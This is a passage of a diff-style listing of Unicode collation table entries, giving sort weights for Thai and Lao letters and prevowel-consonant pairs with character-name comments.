-0E42 0E1D ; [.2C7E.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER FO FA>
-0E43 0E1D ; [.2C7E.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER FO FA>
-0E44 0E1D ; [.2C7E.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER FO FA>
-0E1E  ; [.2C7F.0020.0002] # THAI CHARACTER PHO PHAN
-0E40 0E1E ; [.2C7F.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER PHO PHAN>
-0E41 0E1E ; [.2C7F.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER PHO PHAN>
-0E42 0E1E ; [.2C7F.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER PHO PHAN>
-0E43 0E1E ; [.2C7F.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER PHO PHAN>
-0E44 0E1E ; [.2C7F.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER PHO PHAN>
-0E1F  ; [.2C80.0020.0002] # THAI CHARACTER FO FAN
-0E40 0E1F ; [.2C80.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER FO FAN>
-0E41 0E1F ; [.2C80.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER FO FAN>
-0E42 0E1F ; [.2C80.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER FO FAN>
-0E43 0E1F ; [.2C80.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER FO FAN>
-0E44 0E1F ; [.2C80.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER FO FAN>
-0E20  ; [.2C81.0020.0002] # THAI CHARACTER PHO SAMPHAO
-0E40 0E20 ; [.2C81.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER PHO SAMPHAO>
-0E41 0E20 ; [.2C81.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER PHO SAMPHAO>
-0E42 0E20 ; [.2C81.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER PHO SAMPHAO>
-0E43 0E20 ; [.2C81.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER PHO SAMPHAO>
-0E44 0E20 ; [.2C81.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER PHO SAMPHAO>
-0E21  ; [.2C82.0020.0002] # THAI CHARACTER MO MA
-0E40 0E21 ; [.2C82.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER MO MA>
-0E41 0E21 ; [.2C82.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER MO MA>
-0E42 0E21 ; [.2C82.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER MO MA>
-0E43 0E21 ; [.2C82.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER MO MA>
-0E44 0E21 ; [.2C82.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER MO MA>
-0E22  ; [.2C83.0020.0002] # THAI CHARACTER YO YAK
-0E40 0E22 ; [.2C83.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER YO YAK>
-0E41 0E22 ; [.2C83.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER YO YAK>
-0E42 0E22 ; [.2C83.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER YO YAK>
-0E43 0E22 ; [.2C83.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER YO YAK>
-0E44 0E22 ; [.2C83.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER YO YAK>
-0E23  ; [.2C84.0020.0002] # THAI CHARACTER RO RUA
-0E40 0E23 ; [.2C84.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER RO RUA>
-0E41 0E23 ; [.2C84.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER RO RUA>
-0E42 0E23 ; [.2C84.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER RO RUA>
-0E43 0E23 ; [.2C84.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER RO RUA>
-0E44 0E23 ; [.2C84.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER RO RUA>
-0E24  ; [.2C85.0020.0002] # THAI CHARACTER RU
-0E40 0E24 ; [.2C85.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER RU>
-0E41 0E24 ; [.2C85.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER RU>
-0E42 0E24 ; [.2C85.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER RU>
-0E43 0E24 ; [.2C85.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER RU>
-0E44 0E24 ; [.2C85.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER RU>
-0E25  ; [.2C86.0020.0002] # THAI CHARACTER LO LING
-0E40 0E25 ; [.2C86.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER LO LING>
-0E41 0E25 ; [.2C86.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER LO LING>
-0E42 0E25 ; [.2C86.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER LO LING>
-0E43 0E25 ; [.2C86.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER LO LING>
-0E44 0E25 ; [.2C86.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER LO LING>
-0E26  ; [.2C87.0020.0002] # THAI CHARACTER LU
-0E40 0E26 ; [.2C87.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER LU>
-0E41 0E26 ; [.2C87.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER LU>
-0E42 0E26 ; [.2C87.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER LU>
-0E43 0E26 ; [.2C87.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER LU>
-0E44 0E26 ; [.2C87.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER LU>
-0E27  ; [.2C88.0020.0002] # THAI CHARACTER WO WAEN
-0E40 0E27 ; [.2C88.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER WO WAEN>
-0E41 0E27 ; [.2C88.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER WO WAEN>
-0E42 0E27 ; [.2C88.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER WO WAEN>
-0E43 0E27 ; [.2C88.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER WO WAEN>
-0E44 0E27 ; [.2C88.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER WO WAEN>
-0E28  ; [.2C89.0020.0002] # THAI CHARACTER SO SALA
-0E40 0E28 ; [.2C89.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER SO SALA>
-0E41 0E28 ; [.2C89.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER SO SALA>
-0E42 0E28 ; [.2C89.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER SO SALA>
-0E43 0E28 ; [.2C89.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER SO SALA>
-0E44 0E28 ; [.2C89.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER SO SALA>
-0E29  ; [.2C8A.0020.0002] # THAI CHARACTER SO RUSI
-0E40 0E29 ; [.2C8A.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER SO RUSI>
-0E41 0E29 ; [.2C8A.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER SO RUSI>
-0E42 0E29 ; [.2C8A.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER SO RUSI>
-0E43 0E29 ; [.2C8A.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER SO RUSI>
-0E44 0E29 ; [.2C8A.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER SO RUSI>
-0E2A  ; [.2C8B.0020.0002] # THAI CHARACTER SO SUA
-0E40 0E2A ; [.2C8B.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER SO SUA>
-0E41 0E2A ; [.2C8B.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER SO SUA>
-0E42 0E2A ; [.2C8B.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER SO SUA>
-0E43 0E2A ; [.2C8B.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER SO SUA>
-0E44 0E2A ; [.2C8B.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER SO SUA>
-0E2B  ; [.2C8C.0020.0002] # THAI CHARACTER HO HIP
-0E40 0E2B ; [.2C8C.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER HO HIP>
-0E41 0E2B ; [.2C8C.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER HO HIP>
-0E42 0E2B ; [.2C8C.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER HO HIP>
-0E43 0E2B ; [.2C8C.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER HO HIP>
-0E44 0E2B ; [.2C8C.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER HO HIP>
-0E2C  ; [.2C8D.0020.0002] # THAI CHARACTER LO CHULA
-0E40 0E2C ; [.2C8D.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER LO CHULA>
-0E41 0E2C ; [.2C8D.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER LO CHULA>
-0E42 0E2C ; [.2C8D.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER LO CHULA>
-0E43 0E2C ; [.2C8D.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER LO CHULA>
-0E44 0E2C ; [.2C8D.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER LO CHULA>
-0E2D  ; [.2C8E.0020.0002] # THAI CHARACTER O ANG
-0E40 0E2D ; [.2C8E.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER O ANG>
-0E41 0E2D ; [.2C8E.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER O ANG>
-0E42 0E2D ; [.2C8E.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER O ANG>
-0E43 0E2D ; [.2C8E.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER O ANG>
-0E44 0E2D ; [.2C8E.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER O ANG>
-0E2E  ; [.2C8F.0020.0002] # THAI CHARACTER HO NOKHUK
-0E40 0E2E ; [.2C8F.0020.0002][.2C9C.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER HO NOKHUK>
-0E41 0E2E ; [.2C8F.0020.0002][.2C9D.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER HO NOKHUK>
-0E42 0E2E ; [.2C8F.0020.0002][.2C9E.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER HO NOKHUK>
-0E43 0E2E ; [.2C8F.0020.0002][.2C9F.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER HO NOKHUK>
-0E44 0E2E ; [.2C8F.0020.0002][.2CA0.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER HO NOKHUK>
-0E2F  ; [.2C90.0020.0002] # THAI CHARACTER PAIYANNOI
-0E30  ; [.2C91.0020.0002] # THAI CHARACTER SARA A
-0E31  ; [.2C92.0020.0002] # THAI CHARACTER MAI HAN-AKAT
-0E32  ; [.2C93.0020.0002] # THAI CHARACTER SARA AA
-0E33  ; [.2C94.0020.0002] # THAI CHARACTER SARA AM
-0E4D 0E32 ; [.2C94.0020.0002] # THAI CHARACTER SARA AM
-0E34  ; [.2C95.0020.0002] # THAI CHARACTER SARA I
-0E35  ; [.2C96.0020.0002] # THAI CHARACTER SARA II
-0E36  ; [.2C97.0020.0002] # THAI CHARACTER SARA UE
-0E37  ; [.2C98.0020.0002] # THAI CHARACTER SARA UEE
-0E38  ; [.2C99.0020.0002] # THAI CHARACTER SARA U
-0E39  ; [.2C9A.0020.0002] # THAI CHARACTER SARA UU
-0E3A  ; [.2C9B.0020.0002] # THAI CHARACTER PHINTHU
-0E40  ; [.2C9C.0020.0002] # THAI CHARACTER SARA E
-0E41  ; [.2C9D.0020.0002] # THAI CHARACTER SARA AE
-0E42  ; [.2C9E.0020.0002] # THAI CHARACTER SARA O
-0E43  ; [.2C9F.0020.0002] # THAI CHARACTER SARA AI MAIMUAN
-0E44  ; [.2CA0.0020.0002] # THAI CHARACTER SARA AI MAIMALAI
-0E45  ; [.2CA1.0020.0002] # THAI CHARACTER LAKKHANGYAO
-0EDE  ; [.2CA2.0020.0002] # LAO LETTER KHMU GO
-0EC0 0EDE ; [.2CA2.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KHMU GO>
-0EC1 0EDE ; [.2CA2.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KHMU GO>
-0EC2 0EDE ; [.2CA2.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KHMU GO>
-0EC3 0EDE ; [.2CA2.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KHMU GO>
-0EC4 0EDE ; [.2CA2.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KHMU GO>
-0E81  ; [.2CA3.0020.0002] # LAO LETTER KO
-0EC0 0E81 ; [.2CA3.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KO>
-0EC1 0E81 ; [.2CA3.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KO>
-0EC2 0E81 ; [.2CA3.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KO>
-0EC3 0E81 ; [.2CA3.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KO>
-0EC4 0E81 ; [.2CA3.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KO>
-0E82  ; [.2CA4.0020.0002] # LAO LETTER KHO SUNG
-0EC0 0E82 ; [.2CA4.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KHO SUNG>
-0EC1 0E82 ; [.2CA4.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KHO SUNG>
-0EC2 0E82 ; [.2CA4.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KHO SUNG>
-0EC3 0E82 ; [.2CA4.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KHO SUNG>
-0EC4 0E82 ; [.2CA4.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KHO SUNG>
-0E84  ; [.2CA5.0020.0002] # LAO LETTER KHO TAM
-0EC0 0E84 ; [.2CA5.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KHO TAM>
-0EC1 0E84 ; [.2CA5.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KHO TAM>
-0EC2 0E84 ; [.2CA5.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KHO TAM>
-0EC3 0E84 ; [.2CA5.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KHO TAM>
-0EC4 0E84 ; [.2CA5.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KHO TAM>
-0E87  ; [.2CA6.0020.0002] # LAO LETTER NGO
-0EC0 0E87 ; [.2CA6.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER NGO>
-0EC1 0E87 ; [.2CA6.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER NGO>
-0EC2 0E87 ; [.2CA6.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER NGO>
-0EC3 0E87 ; [.2CA6.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER NGO>
-0EC4 0E87 ; [.2CA6.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER NGO>
-0E88  ; [.2CA7.0020.0002] # LAO LETTER CO
-0EC0 0E88 ; [.2CA7.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER CO>
-0EC1 0E88 ; [.2CA7.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER CO>
-0EC2 0E88 ; [.2CA7.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER CO>
-0EC3 0E88 ; [.2CA7.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER CO>
-0EC4 0E88 ; [.2CA7.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER CO>
-0EAA  ; [.2CA8.0020.0002] # LAO LETTER SO SUNG
-0EC0 0EAA ; [.2CA8.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER SO SUNG>
-0EC1 0EAA ; [.2CA8.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER SO SUNG>
-0EC2 0EAA ; [.2CA8.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER SO SUNG>
-0EC3 0EAA ; [.2CA8.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER SO SUNG>
-0EC4 0EAA ; [.2CA8.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER SO SUNG>
-0E8A  ; [.2CA9.0020.0002] # LAO LETTER SO TAM
-0EC0 0E8A ; [.2CA9.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER SO TAM>
-0EC1 0E8A ; [.2CA9.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER SO TAM>
-0EC2 0E8A ; [.2CA9.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER SO TAM>
-0EC3 0E8A ; [.2CA9.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER SO TAM>
-0EC4 0E8A ; [.2CA9.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER SO TAM>
-0EDF  ; [.2CAA.0020.0002] # LAO LETTER KHMU NYO
-0EC0 0EDF ; [.2CAA.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER KHMU NYO>
-0EC1 0EDF ; [.2CAA.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER KHMU NYO>
-0EC2 0EDF ; [.2CAA.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER KHMU NYO>
-0EC3 0EDF ; [.2CAA.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER KHMU NYO>
-0EC4 0EDF ; [.2CAA.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER KHMU NYO>
-0E8D  ; [.2CAB.0020.0002] # LAO LETTER NYO
-0EC0 0E8D ; [.2CAB.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER NYO>
-0EC1 0E8D ; [.2CAB.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER NYO>
-0EC2 0E8D ; [.2CAB.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER NYO>
-0EC3 0E8D ; [.2CAB.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER NYO>
-0EC4 0E8D ; [.2CAB.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER NYO>
-0E94  ; [.2CAC.0020.0002] # LAO LETTER DO
-0EC0 0E94 ; [.2CAC.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER DO>
-0EC1 0E94 ; [.2CAC.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER DO>
-0EC2 0E94 ; [.2CAC.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER DO>
-0EC3 0E94 ; [.2CAC.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER DO>
-0EC4 0E94 ; [.2CAC.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER DO>
-0E95  ; [.2CAD.0020.0002] # LAO LETTER TO
-0EC0 0E95 ; [.2CAD.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER TO>
-0EC1 0E95 ; [.2CAD.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER TO>
-0EC2 0E95 ; [.2CAD.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER TO>
-0EC3 0E95 ; [.2CAD.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER TO>
-0EC4 0E95 ; [.2CAD.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER TO>
-0E96  ; [.2CAE.0020.0002] # LAO LETTER THO SUNG
-0EC0 0E96 ; [.2CAE.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER THO SUNG>
-0EC1 0E96 ; [.2CAE.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER THO SUNG>
-0EC2 0E96 ; [.2CAE.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER THO SUNG>
-0EC3 0E96 ; [.2CAE.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER THO SUNG>
-0EC4 0E96 ; [.2CAE.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER THO SUNG>
-0E97  ; [.2CAF.0020.0002] # LAO LETTER THO TAM
-0EC0 0E97 ; [.2CAF.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER THO TAM>
-0EC1 0E97 ; [.2CAF.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER THO TAM>
-0EC2 0E97 ; [.2CAF.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER THO TAM>
-0EC3 0E97 ; [.2CAF.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER THO TAM>
-0EC4 0E97 ; [.2CAF.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER THO TAM>
-0E99  ; [.2CB0.0020.0002] # LAO LETTER NO
-0EC0 0E99 ; [.2CB0.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER NO>
-0EC1 0E99 ; [.2CB0.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER NO>
-0EC2 0E99 ; [.2CB0.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER NO>
-0EC3 0E99 ; [.2CB0.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER NO>
-0EC4 0E99 ; [.2CB0.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER NO>
-0E9A  ; [.2CB1.0020.0002] # LAO LETTER BO
-0EC0 0E9A ; [.2CB1.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER BO>
-0EC1 0E9A ; [.2CB1.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER BO>
-0EC2 0E9A ; [.2CB1.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER BO>
-0EC3 0E9A ; [.2CB1.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER BO>
-0EC4 0E9A ; [.2CB1.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER BO>
-0E9B  ; [.2CB2.0020.0002] # LAO LETTER PO
-0EC0 0E9B ; [.2CB2.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER PO>
-0EC1 0E9B ; [.2CB2.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER PO>
-0EC2 0E9B ; [.2CB2.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER PO>
-0EC3 0E9B ; [.2CB2.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER PO>
-0EC4 0E9B ; [.2CB2.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER PO>
-0E9C  ; [.2CB3.0020.0002] # LAO LETTER PHO SUNG
-0EC0 0E9C ; [.2CB3.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER PHO SUNG>
-0EC1 0E9C ; [.2CB3.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER PHO SUNG>
-0EC2 0E9C ; [.2CB3.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER PHO SUNG>
-0EC3 0E9C ; [.2CB3.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER PHO SUNG>
-0EC4 0E9C ; [.2CB3.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER PHO SUNG>
-0E9D  ; [.2CB4.0020.0002] # LAO LETTER FO TAM
-0EC0 0E9D ; [.2CB4.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER FO TAM>
-0EC1 0E9D ; [.2CB4.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER FO TAM>
-0EC2 0E9D ; [.2CB4.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER FO TAM>
-0EC3 0E9D ; [.2CB4.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER FO TAM>
-0EC4 0E9D ; [.2CB4.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER FO TAM>
-0E9E  ; [.2CB5.0020.0002] # LAO LETTER PHO TAM
-0EC0 0E9E ; [.2CB5.0020.0002][.2CCD.0020.0002] # <LAO VOWEL SIGN E, LAO LETTER PHO TAM>
-0EC1 0E9E ; [.2CB5.0020.0002][.2CCE.0020.0002] # <LAO VOWEL SIGN EI, LAO LETTER PHO TAM>
-0EC2 0E9E ; [.2CB5.0020.0002][.2CCF.0020.0002] # <LAO VOWEL SIGN O, LAO LETTER PHO TAM>
-0EC3 0E9E ; [.2CB5.0020.0002][.2CD0.0020.0002] # <LAO VOWEL SIGN AY, LAO LETTER PHO TAM>
-0EC4 0E9E ; [.2CB5.0020.0002][.2CD1.0020.0002] # <LAO VOWEL SIGN AI, LAO LETTER PHO TAM>
-0E9F  ; [.2CB6.0020.0002] # LAO LETTER FO SUNG
